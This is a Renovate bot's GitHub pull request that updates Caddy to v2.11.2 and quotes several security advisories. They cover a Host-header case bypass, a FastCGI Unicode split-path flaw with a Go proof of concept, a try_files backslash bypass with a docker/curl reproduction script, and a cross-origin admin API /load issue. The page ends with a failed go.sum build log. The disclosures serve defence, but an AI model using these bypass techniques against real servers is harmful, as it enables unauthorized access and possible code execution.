{"level":"info","ts":1770588549.9751372,"msg":"shutting down apps, then terminating","signal":"SIGTERM"}
{"level":"warn","ts":1770588549.9751456,"msg":"exiting; byeee!! 👋","signal":"SIGTERM"}
{"level":"debug","ts":1770588549.9751775,"logger":"events","msg":"event","name":"stopping","id":"e02c5e64-9d76-48b6-a967-4f003850bdd4","origin":"","data":null}
{"level":"info","ts":1770588549.9751873,"logger":"http","msg":"servers shutting down with eternal grace period"}
{"level":"info","ts":1770588549.975331,"logger":"admin","msg":"stopped previous server","address":"localhost:2019"}
{"level":"info","ts":1770588549.9753368,"msg":"shutdown complete","signal":"SIGTERM","exit_code":0}

Impact

This is a route/auth bypass in Caddy's request-matching layer. Any internet-exposed Caddy deployment that relies on host matchers with large host lists (>100) to select protected routes (e.g. applying basicauth, forward_auth, respond deny rules, or protecting reverse_proxy backends) can be bypassed by varying the case of the Host header, allowing unauthorized access to sensitive endpoints depending on upstream configuration.

The reproduction is minimal per the reporting guidance; a realistic "full" scenario is Caddy fronting a multi-tenant app and doing forward_auth/basicauth/deny for /admin only when host is in a big (>100) allowlist, but the default handler still reverse_proxying to the same app. Then sending Host: H050.TEST skips the guarded route in Caddy, yet the upstream still treats it as the same tenant host --> /admin is reachable without the intended guard.

AI Use Disclosure

A custom AI agent pipeline was used to discover the vulnerability, after which was manually reproduced and validated each step. The entire report was ran through an LLM for editing.

Disclosure/crediting

Asim Viladi Oglu Manizada

CVE-2026-27590

Summary

Caddy's FastCGI path splitting logic computes the split index on a lowercased copy of the request path and then uses that byte index to slice the original path. This is unsafe for Unicode because strings.ToLower() can change UTF-8 byte length for some characters. As a result, Caddy can derive an incorrect SCRIPT_NAME/SCRIPT_FILENAME and PATH_INFO, potentially causing a request that contains .php to execute a different on-disk file than intended (path confusion). In setups where an attacker can control file contents (e.g., upload features), this can lead to unintended PHP execution of non-.php files (potential RCE depending on deployment).

Details

The issue is in github.com/caddyserver/caddy/modules/caddyhttp/fastcgi.Trasnport.splitPos() (and the subsequent slicing in buildEnv()):

lowerPath := strings.ToLower(path)
idx := strings.Index(lowerPath, strings.ToLower(split))
return idx + len(split)

The returned index is computed in the byte space of lowerPath, but buildEnv() applies it to the original path:

  • docURI = path[:splitPos]
  • pathInfo = path[splitPos:]
  • scriptName = strings.TrimSuffix(path, fc.pathInfo)
  • scriptFilename = caddyhttp.SanitizedPathJoin(fc.documentRoot, fc.scriptName)

This assumes lowerPath and path have identical byte lengths and identical byte offsets, which is not true for some Unicode case mappings. Certain characters expand when lowercased (UTF-8 byte length increases), shifting the computed index. This creates a mismatch where .php is found in the lowercased string at an offset that does not correspond to the same position in the original string, causing the split point to land later/earlier than intended.

PoC

Create a small Go program that reproduces Caddy's splitPos() behavior (compute the .php split point on a lowercased path, then use that byte index on the original path):

  1. Save this as poc.go:
package main

import (
	"fmt"
	"strings"
)

func splitPos(path string, split string) int {
	lowerPath := strings.ToLower(path)
	idx := strings.Index(lowerPath, strings.ToLower(split))
	if idx < 0 {
		return -1
	}
	return idx + len(split)
}

func main() {
	// U+023A: Ⱥ (UTF-8: C8 BA). Lowercase is ⱥ (UTF-8: E2 B1 A5), longer in bytes.
	path := "/ȺȺȺȺshell.php.txt.php"
	split := ".php"

	pos := splitPos(path, split)

	fmt.Printf("orig bytes=%d\n", len(path))
	fmt.Printf("lower bytes=%d\n", len(strings.ToLower(path)))
	fmt.Printf("splitPos=%d\n", pos)

	fmt.Printf("orig[:pos]=%q\n", path[:pos])
	fmt.Printf("orig[pos:]=%q\n", path[pos:])

	// Expected split: right after the first ".php" in the original string
	want := strings.Index(path, split) + len(split)
	fmt.Printf("expected splitPos=%d\n", want)
	fmt.Printf("expected orig[:]=%q\n", path[:want])
}
  1. Run it:
go run poc.go

Output on my side:

orig bytes=26
lower bytes=30
splitPos=22
orig[:pos]="/ȺȺȺȺshell.php.txt"
orig[pos:]=".php"
expected splitPos=18
expected orig[:]="/ȺȺȺȺshell.php"

Expected split is right after the first .php (/ȺȺȺȺshell.php). Instead, the computed split lands later and cuts the original path after shell.php.txt, leaving .php as the remainder.

Impact

Security boundary bypass/path confusion in script resolution.
In typical deployments, .php extension boundaries are relied on to decide what is executed by PHP. This bug can cause Caddy/FPM to execute a different file than intended by confusing SCRIPT_NAME/SCRIPT_FILENAME. If an attacker can place attacker-controlled content into a file that can be resolved as SCRIPT_FILENAME (common in web apps with uploads or writable directories), this can lead to unintended PHP execution of non-.php files and potentially remote code execution. Severity depends on deployment and presence of attacker-controlled file writes, but the primitive itself is remotely triggerable via crafted URLs.

This vulnerability was initially reported to FrankenPHP (GHSA-g966-83w7-6w38) by @​AbdrrahimDahmani. The affected code has been copied/adapted from Caddy, which, according to research, is also affected.

The patch is a port of the FrankenPHP patch.


Caddy: Improper sanitization of glob characters in file matcher may lead to bypassing security protections

CVE-2026-27585 / GHSA-4xrr-hq4w-6vf4 / GO-2026-4535

More information

Details

Summary

The path sanitization in file matcher doesn't sanitize backslashes which can lead to bypassing path related security protections.

Details

The try_files directive is used to rewrite the request uri. It accepts a list of patterns and checks if any files exist in the root that match the provided patterns. It's commonly used in Caddy configs. For example, it's used in SPA applications to rewrite every route that doesn't exist as a file to index.html.

example.com {
	root * /srv
	encode
	try_files {path} /index.html
	file_server
}

try_files patterns are actually glob patterns and file matcher expands them. The {path} in the pattern is replaced with
the request path and then is expanded by fs.Glob. The request path is sanitized before being placed inside the pattern and the special chars are escaped . The following code is the sanitization part.

var globSafeRepl = strings.NewReplacer(
	"*", "\\*",
	"[", "\\[",
	"?", "\\?",
)

expandedFile, err := repl.ReplaceFunc(file, func(variable string, val any) (any, error) {
    if runtime.GOOS == "windows" {
        return val, nil
    }
    switch v := val.(type) {
    case string:
        return globSafeRepl.Replace(v), nil
    case fmt.Stringer:
        return globSafeRepl.Replace(v.String()), nil
    }
    return val, nil
})

The problem here is that it does not escape backslashes. /something-\*/ can match a file named something-\-anything.txt, but it should not. The primitive that this vulnerability provides is not very useful, as it only allows an attacker to guess filenames that contain a backslash and they should also know the characters before that backslash.

The backslash is mainly used to escape special characters in glob patterns, but when it appears before non special characters, it is ignored. This means that h\ello* matches hello world even though e is not a special character. This behavior can be abused to bypass path protections that might be in place. For example, if there is a reverse proxy that only allows /documents/* to the internal network and its upstream is a Caddy server that uses try_files, the reverse proxy's protection can be bypassed by requesting the path /do%5ccuments/.

Some configurations that implement blacklisting and serving together in Caddy are also vulnerable but there's a condition that the try_files directive and the filtering route/handle must not be in a same block because try_files directive executes before route and handle directives.

For example the following config isn't vulnerable.

:80 {
    root * /srv

    route /documents/* {
        respond "Access denied" 403
    }

    try_files {path} /index.html
    file_server
}

But this one is vulnerable.

:80 {
    root * /srv

    route /documents/* {
        respond "Access denied" 403
    }

    route /* {
        try_files {path} /index.html
    }
    file_server
}

This config is also vulnerable because Header directives executes before try_files.

:80 {
    root * /srv 
    header /uploads/* {
        X-Content-Type-Options "nosniff"
        Content-Security-Policy "default-src 'none';"
    }
    try_files {path} /index.html
    file_server
}
PoC

Paste this script somewhere and run it. It should print "some content" which means that the nginx protection has failed.

#!/bin/bash

mkdir secret
echo 'some content' > secret/secret.txt

cat > Caddyfile <<'EOF'
:80 {
    root * /srv

    try_files {path} /index.html
    file_server
}
EOF

cat > nginx.conf <<'EOF'
events {}

http {
    server {
        listen 80;
        
        location /secret {
            return 403;
        }

        location / {
            proxy_pass http://caddy;
            proxy_set_header Host $host;
        }
    }
}
EOF

cat > docker-compose.yml <<'EOF'
services:
  caddy:
    # caddy@sha256:c3d7ee5d2b11f9dc54f947f68a734c84e9c9666c92c88a7f30b9cba5da182adb
    image: caddy:latest
    volumes:
      - ./Caddyfile:/etc/caddy/Caddyfile:ro
      - ./secret:/srv/secret:ro
  nginx:
    # nginx@sha256:341bf0f3ce6c5277d6002cf6e1fb0319fa4252add24ab6a0e262e0056d313208
    image: nginx:latest
    volumes:
      - ./nginx.conf:/etc/nginx/nginx.conf:ro
    ports:
      - "8000:80" 
EOF

docker compose up -d
curl 'localhost:8000/secre%5ct/secret.txt'
Impact

This vulnerability may allow an attacker to bypass security protections. It affects users with specific Caddy and environment configurations.

AI Usage

An LLM was used to polish this report.

Severity

  • CVSS Score: 6.9 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Caddy: Unicode case-folding length expansion causes incorrect split_path index in FastCGI transport

CVE-2026-27590 / GHSA-5r3v-vc8m-m96g / GO-2026-4536

More information

Details

Summary

Caddy's FastCGI path splitting logic computes the split index on a lowercased copy of the request path and then uses that byte index to slice the original path. This is unsafe for Unicode because strings.ToLower() can change UTF-8 byte length for some characters. As a result, Caddy can derive an incorrect SCRIPT_NAME/SCRIPT_FILENAME and PATH_INFO, potentially causing a request that contains .php to execute a different on-disk file than intended (path confusion). In setups where an attacker can control file contents (e.g., upload features), this can lead to unintended PHP execution of non-.php files (potential RCE depending on deployment).

Details

The issue is in github.com/caddyserver/caddy/modules/caddyhttp/fastcgi.Trasnport.splitPos() (and the subsequent slicing in buildEnv()):

lowerPath := strings.ToLower(path)
idx := strings.Index(lowerPath, strings.ToLower(split))
return idx + len(split)

The returned index is computed in the byte space of lowerPath, but buildEnv() applies it to the original path:

  • docURI = path[:splitPos]
  • pathInfo = path[splitPos:]
  • scriptName = strings.TrimSuffix(path, fc.pathInfo)
  • scriptFilename = caddyhttp.SanitizedPathJoin(fc.documentRoot, fc.scriptName)

This assumes lowerPath and path have identical byte lengths and identical byte offsets, which is not true for some Unicode case mappings. Certain characters expand when lowercased (UTF-8 byte length increases), shifting the computed index. This creates a mismatch where .php is found in the lowercased string at an offset that does not correspond to the same position in the original string, causing the split point to land later/earlier than intended.

PoC

Create a small Go program that reproduces Caddy's splitPos() behavior (compute the .php split point on a lowercased path, then use that byte index on the original path):

  1. Save this as poc.go:
package main

import (
	"fmt"
	"strings"
)

func splitPos(path string, split string) int {
	lowerPath := strings.ToLower(path)
	idx := strings.Index(lowerPath, strings.ToLower(split))
	if idx < 0 {
		return -1
	}
	return idx + len(split)
}

func main() {
	// U+023A: Ⱥ (UTF-8: C8 BA). Lowercase is ⱥ (UTF-8: E2 B1 A5), longer in bytes.
	path := "/ȺȺȺȺshell.php.txt.php"
	split := ".php"

	pos := splitPos(path, split)

	fmt.Printf("orig bytes=%d\n", len(path))
	fmt.Printf("lower bytes=%d\n", len(strings.ToLower(path)))
	fmt.Printf("splitPos=%d\n", pos)

	fmt.Printf("orig[:pos]=%q\n", path[:pos])
	fmt.Printf("orig[pos:]=%q\n", path[pos:])

	// Expected split: right after the first ".php" in the original string
	want := strings.Index(path, split) + len(split)
	fmt.Printf("expected splitPos=%d\n", want)
	fmt.Printf("expected orig[:]=%q\n", path[:want])
}
  1. Run it:
go run poc.go

Output on my side:

orig bytes=26
lower bytes=30
splitPos=22
orig[:pos]="/ȺȺȺȺshell.php.txt"
orig[pos:]=".php"
expected splitPos=18
expected orig[:]="/ȺȺȺȺshell.php"

Expected split is right after the first .php (/ȺȺȺȺshell.php). Instead, the computed split lands later and cuts the original path after shell.php.txt, leaving .php as the remainder.

Impact

Security boundary bypass/path confusion in script resolution.
In typical deployments, .php extension boundaries are relied on to decide what is executed by PHP. This bug can cause Caddy/FPM to execute a different file than intended by confusing SCRIPT_NAME/SCRIPT_FILENAME. If an attacker can place attacker-controlled content into a file that can be resolved as SCRIPT_FILENAME (common in web apps with uploads or writable directories), this can lead to unintended PHP execution of non-.php files and potentially remote code execution. Severity depends on deployment and presence of attacker-controlled file writes, but the primitive itself is remotely triggerable via crafted URLs.

This vulnerability was initially reported to FrankenPHP (GHSA-g966-83w7-6w38) by @​AbdrrahimDahmani. The affected code has been copied/adapted from Caddy, which, according to research, is also affected.

The patch is a port of the FrankenPHP patch.

Severity

  • CVSS Score: 8.9 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Caddy is vulnerable to cross-origin config application via local admin API /load

CVE-2026-27589 / GHSA-879p-475x-rqh2 / GO-2026-4537

More information

Details

commit: e0f8d9b2047af417d8faf354b675941f3dac9891 (as-of 2026-02-04)
channel: GitHub security advisory (per SECURITY.md)

summary

The local caddy admin API (default listen 127.0.0.1:2019) exposes a state-changing POST /load endpoint that replaces the entire running configuration.

When origin enforcement is not enabled (enforce_origin not configured), the admin endpoint accepts cross-origin requests (e.g., from attacker-controlled web content in a victim browser) and applies an attacker-supplied JSON config. this can change the admin listener settings and alter HTTP server behavior without user intent.

Severity

Medium

Justification:

  • The attacker can apply an arbitrary caddy config (integrity impact) by driving a victim’s local admin API.
  • Exploitation requires a victim running caddy with the admin API enabled and visiting an attacker-controlled page (or otherwise issuing the request from an untrusted local client).
Affected component
Reproduction

Attachment: poc.zip (integration harness) with canonical and control runs.

unzip -q -o poc.zip -d poc
cd poc/poc-F-CADDY-ADMIN-LOAD-001
make test

Expected output (excerpt):

[CALLSITE_HIT]: adminLoad.handleLoad
[PROOF_MARKER]: http_code=200 admin_moved=true response_pwned=true

Control output (excerpt):

[NC_MARKER]: http_code=403 load_blocked=true admin_moved=false response_pwned=false
Impact

An attacker can replace the running caddy configuration via the local admin API. Depending on the deployed configuration/modules, this can:

  • Change admin listener settings (e.g., move the admin listener to a new address)
  • Change HTTP server behavior (e.g., alter routes/responses)
Suggested remediation

Ensure cross-origin web content cannot trigger POST /load on the local admin API by default, for example by:

  • Enabling origin enforcement by default for unsafe methods, and/or
  • Requiring an unguessable token for /load (and other state-changing admin endpoints).

poc.zip
PR_DESCRIPTION.md

Severity

  • CVSS Score: 6.9 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P

References

@renovate-sh-app
Copy link
Author

renovate-sh-app bot commented Feb 25, 2026

⚠️ Artifact update problem

Renovate failed to update an artifact related to this branch. You probably do not want to merge this PR as-is.

♻ Renovate will retry this branch, including artifacts, only when one of the following happens:

  • any of the package files in this branch needs updating, or
  • the branch becomes conflicted, or
  • you click the rebase/retry checkbox if found above, or
  • you rename this PR's title to start with "rebase!" to trigger it manually

The artifact failure details are included below:

File name: go.sum
Command failed: go get -t ./...
go: module github.com/caddyserver/caddy/v2@v2.11.2 requires go >= 1.25.0; switching to go1.25.8
go: downloading go1.25.8 (linux/amd64)
go: downloading github.com/google/tink/go v1.7.0
go: downloading google.golang.org/api v0.266.0
go: downloading github.com/caddyserver/certmagic v0.25.2
go: downloading cloud.google.com/go/storage v1.56.0
go: downloading github.com/fsouza/fake-gcs-server v1.52.1
go: downloading cloud.google.com/go v0.121.6
go: downloading github.com/caddyserver/caddy/v2 v2.11.2
go: downloading github.com/letsencrypt/pebble/v2 v2.10.0
go: downloading github.com/caddyserver/zerossl v0.1.5
go: downloading github.com/klauspost/cpuid/v2 v2.3.0
go: downloading github.com/libdns/libdns v1.1.1
go: downloading github.com/mholt/acmez/v3 v3.1.6
go: downloading github.com/miekg/dns v1.1.72
go: downloading github.com/zeebo/blake3 v0.2.4
go: downloading go.uber.org/zap v1.27.1
go: downloading go.uber.org/zap/exp v0.3.0
go: downloading golang.org/x/crypto v0.48.0
go: downloading golang.org/x/net v0.51.0
go: downloading cloud.google.com/go/auth v0.18.1
go: downloading cloud.google.com/go/iam v1.5.3
go: downloading github.com/GoogleCloudPlatform/opentelemetry-operations-go/exporter/metric v0.53.0
go: downloading github.com/googleapis/gax-go/v2 v2.17.0
go: downloading go.opentelemetry.io/contrib/detectors/gcp v1.39.0
go: downloading go.opentelemetry.io/otel v1.40.0
go: downloading go.opentelemetry.io/otel/sdk/metric v1.40.0
go: downloading go.opentelemetry.io/otel/sdk v1.40.0
go: downloading go.opentelemetry.io/otel/trace v1.40.0
go: downloading google.golang.org/genproto v0.0.0-20260128011058-8636f8732409
go: downloading google.golang.org/grpc v1.79.1
go: downloading google.golang.org/grpc/stats/opentelemetry v0.0.0-20241028142157-ada6787961b3
go: downloading google.golang.org/protobuf v1.36.11
go: downloading github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc
go: downloading github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2
go: downloading golang.org/x/oauth2 v0.35.0
go: downloading github.com/prometheus/client_golang v1.23.2
go: downloading github.com/quic-go/quic-go v0.59.0
go: downloading golang.org/x/term v0.40.0
go: downloading golang.org/x/time v0.14.0
go: downloading github.com/go-jose/go-jose/v4 v4.1.3
go: downloading github.com/letsencrypt/challtestsrv v1.4.2
go: downloading golang.org/x/tools v0.42.0
go: downloading go.uber.org/multierr v1.11.0
go: downloading google.golang.org/genproto/googleapis/api v0.0.0-20260128011058-8636f8732409
go: downloading google.golang.org/genproto/googleapis/rpc v0.0.0-20260203192932-546029d2fa20
go: downloading cloud.google.com/go/monitoring v1.24.3
go: downloading github.com/GoogleCloudPlatform/opentelemetry-operations-go/internal/resourcemapping v0.53.0
go: downloading github.com/GoogleCloudPlatform/opentelemetry-operations-go/detectors/gcp v1.30.0
go: downloading golang.org/x/text v0.34.0
go: downloading go.opentelemetry.io/otel/metric v1.40.0
go: downloading cloud.google.com/go/auth/oauth2adapt v0.2.8
go: downloading go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.65.0
go: downloading github.com/google/renameio/v2 v2.0.0
go: downloading github.com/pkg/xattr v0.4.10
go: downloading cloud.google.com/go/pubsub v1.50.1
go: downloading github.com/beorn7/perks v1.0.1
go: downloading github.com/prometheus/client_model v0.6.2
go: downloading github.com/prometheus/common v0.67.5
go: downloading github.com/prometheus/procfs v0.19.2
go: downloading github.com/quic-go/qpack v0.6.0
go: downloading go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.61.0
go: downloading github.com/googleapis/enterprise-certificate-proxy v0.3.11
go: downloading github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822
go: downloading go.yaml.in/yaml/v2 v2.4.3
go: downloading github.com/spiffe/go-spiffe/v2 v2.6.0
go: downloading cloud.google.com/go/pubsub/v2 v2.0.0
go: downloading golang.org/x/mod v0.33.0
go: downloading cel.dev/expr v0.25.1
go: github.com/grafana/certmagic-gcs/storage imports
	cloud.google.com/go/storage imports
	google.golang.org/grpc/stats/opentelemetry: ambiguous import: found package google.golang.org/grpc/stats/opentelemetry in multiple modules:
	google.golang.org/grpc v1.79.1 (/tmp/renovate/cache/others/go/pkg/mod/google.golang.org/grpc@v1.79.1/stats/opentelemetry)
	google.golang.org/grpc/stats/opentelemetry v0.0.0-20241028142157-ada6787961b3 (/tmp/renovate/cache/others/go/pkg/mod/google.golang.org/grpc/stats/opentelemetry@v0.0.0-20241028142157-ada6787961b3)

…security]

| datasource | package                         | from   | to      |
| ---------- | ------------------------------- | ------ | ------- |
| go         | github.com/caddyserver/caddy/v2 | v2.9.1 | v2.11.2 |


Signed-off-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
@renovate-sh-app renovate-sh-app bot force-pushed the renovate/go-github.com-caddyserver-caddy-v2-vulnerability branch from 9cbd8f6 to 7aa39a0 Compare March 23, 2026 10:06
@renovate-sh-app renovate-sh-app bot changed the title fix(deps): update module github.com/caddyserver/caddy/v2 to v2.11.1 [security] fix(deps): update module github.com/caddyserver/caddy/v2 to v2.11.2 [security] Mar 23, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants